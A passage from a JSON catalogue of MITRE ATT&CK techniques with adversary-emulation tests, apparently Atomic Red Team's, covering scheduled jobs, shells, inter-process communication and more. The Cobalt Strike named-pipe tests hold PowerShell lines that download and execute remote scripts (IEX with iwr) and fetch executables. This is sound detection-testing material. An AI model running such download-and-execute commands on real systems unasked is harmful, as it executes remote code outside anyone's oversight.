/usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation", - "Command: Command Execution", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - "x_mitre_remote_support": true, - "identifier": "T1053.006" - }, - "atomic_tests": [] - }, - "T1061": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228", - "type": "attack-pattern", - "created": "2017-05-31T21:30:50.342Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1061", - "url": "https://attack.mitre.org/techniques/T1061" - }, - { - "url": "https://en.wikipedia.org/wiki/Run_command", - "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.", - "source_name": "Wikipedia Run Command" - } - ], - "modified": "2020-03-30T13:38:08.738Z", - "name": "Graphical User Interface", - "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.", - "x_mitre_deprecated": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "x_mitre_remote_support": true - }, - "atomic_tests": [] - }, - "T1059.004": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", - "type": "attack-pattern", - "created": "2020-03-09T14:15:05.330Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.004", - "url": "https://attack.mitre.org/techniques/T1059/004" - }, - { - "source_name": "DieNet Bash", - "url": "https://linux.die.net/man/1/bash", - "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020." - }, - { - "source_name": "Apple ZShell", - "url": "https://support.apple.com/HT208050", - "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020." - } - ], - "modified": "2021-07-26T22:34:43.261Z", - "name": "Command and Scripting Interpreter: Bash", - "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - "x_mitre_remote_support": true, - "identifier": "T1059.004" - }, - "atomic_tests": [] - }, - "T1559": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", - "type": "attack-pattern", - "created": "2020-02-12T14:08:48.689Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1559", - "url": "https://attack.mitre.org/techniques/T1559" - }, - { - "source_name": "Linux IPC", - "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.", - "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022." - }, - { - "source_name": "Fireeye Hunting COM June 2019", - "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", - "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019." - } - ], - "modified": "2022-03-11T20:23:23.122Z", - "name": "Inter-Process Communication", - "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Module: Module Load", - "Process: Process Creation", - "Script: Script Execution", - "Process: Process Access" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User", - "SYSTEM" - ], - "x_mitre_remote_support": true, - "identifier": "T1559" - }, - "atomic_tests": [ - { - "name": "Cobalt Strike Artifact Kit pipe", - "auto_generated_guid": "bd13b9fc-b758-496a-b81a-397462f82c72", - "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Named pipe executors must exist on disk\n", - "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n" - } - ], - "executor": { - "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 1\n", - "name": "command_prompt" - } - }, - { - "name": "Cobalt Strike Lateral Movement (psexec_psh) pipe", - "auto_generated_guid": "830c8b6c-7a70-4f40-b975-8bbe74558acd", - "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Named pipe executors must exist on disk\n", - "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n" - } - ], - "executor": { - "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 2\n", - "name": "command_prompt" - } - }, - { - "name": "Cobalt Strike SSH (postex_ssh) pipe", - "auto_generated_guid": "d1f72fa0-5bc2-4b4b-bd1e-43b6e8cfb2e6", - "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Named pipe executors must exist on disk\n", - "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n" - } - ], - "executor": { - "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 3\n", - "name": "command_prompt" - } - }, - { - "name": "Cobalt Strike post-exploitation pipe (4.2 and later)", - "auto_generated_guid": "7a48f482-246f-4aeb-9837-21c271ebf244", - "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Named pipe executors must exist on disk\n", - "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n" - } - ], - "executor": { - "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 4\n", - "name": "command_prompt" - } - }, - { - "name": "Cobalt Strike post-exploitation pipe (before 4.2)", - "auto_generated_guid": "8dbfc15c-527b-4ab0-a272-019f469d367f", - "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Named pipe executors must exist on disk\n", - "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n" - } - ], - "executor": { - "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 5\n", - "name": "command_prompt" - } - } - ] - }, - "T1204.003": { - "technique": { - "x_mitre_platforms": [ - "IaaS", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Center for Threat-Informed Defense (CTID)", - "Vishwas Manral, McAfee" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", - "type": "attack-pattern", - "created": "2021-03-30T17:20:05.789Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1204.003", - "url": "https://attack.mitre.org/techniques/T1204/003" - }, - { - "source_name": "Summit Route Malicious AMIs", - "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/", - "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021." - }, - { - "source_name": "Aqua Security Cloud Native Threat Report June 2021", - "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation", - "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021." - } - ], - "modified": "2021-08-26T16:42:35.318Z", - "name": "Malicious Image", - "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Instance: Instance Start", - "Container: Container Creation", - "Image: Image Creation", - "Application Log: Application Log Content", - "Container: Container Start", - "Instance: Instance Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1154": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1154", - "url": "https://attack.mitre.org/techniques/T1154" - }, - { - "source_name": "Trap Manual", - "url": "https://ss64.com/bash/trap.html", - "description": "ss64. (n.d.). trap. Retrieved May 21, 2019." - }, - { - "source_name": "Cyberciti Trap Statements", - "url": "https://bash.cyberciti.biz/guide/Trap_statement", - "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019." - } - ], - "modified": "2020-01-24T14:18:13.478Z", - "name": "Trap", - "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1203": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "1.4", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1203", - "url": "https://attack.mitre.org/techniques/T1203" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", - "modified": "2022-04-18T18:48:06.141Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Exploitation for Client Execution", - "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: Process Creation" - ], - "x_mitre_system_requirements": [ - "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise." - ], - "x_mitre_remote_support": false, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1168": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Anastasios Pingios" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1168", - "url": "https://attack.mitre.org/techniques/T1168" - }, - { - "url": "https://linux.die.net/man/5/crontab", - "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.", - "source_name": "Die.net Linux crontab Man Page" - }, - { - "url": "https://linux.die.net/man/1/at", - "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.", - "source_name": "Die.net Linux at Man Page" - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html", - "description": "Apple. (n.d.). Retrieved July 17, 2017.", - "source_name": "AppleDocs Scheduling Timed Jobs" - }, - { - "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", - "source_name": "Janicab" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", - "source_name": "Malware Persistence on OS X" - }, - { - "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/", - "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.", - "source_name": "Avast Linux Trojan Cron Persistence" - } - ], - "modified": "2021-03-30T00:51:58.374Z", - "name": "Local Job Scheduling", - "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "User", - "root" - ] - }, - "atomic_tests": [] - }, - "T1028": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", - "type": "attack-pattern", - "created": "2017-05-31T21:30:33.723Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1028", - "url": "https://attack.mitre.org/techniques/T1028" - }, - { - "external_id": "CAPEC-555", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/555.html" - }, - { - "url": "http://msdn.microsoft.com/en-us/library/aa384426", - "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.", - "source_name": "Microsoft WinRM" - }, - { - "url": 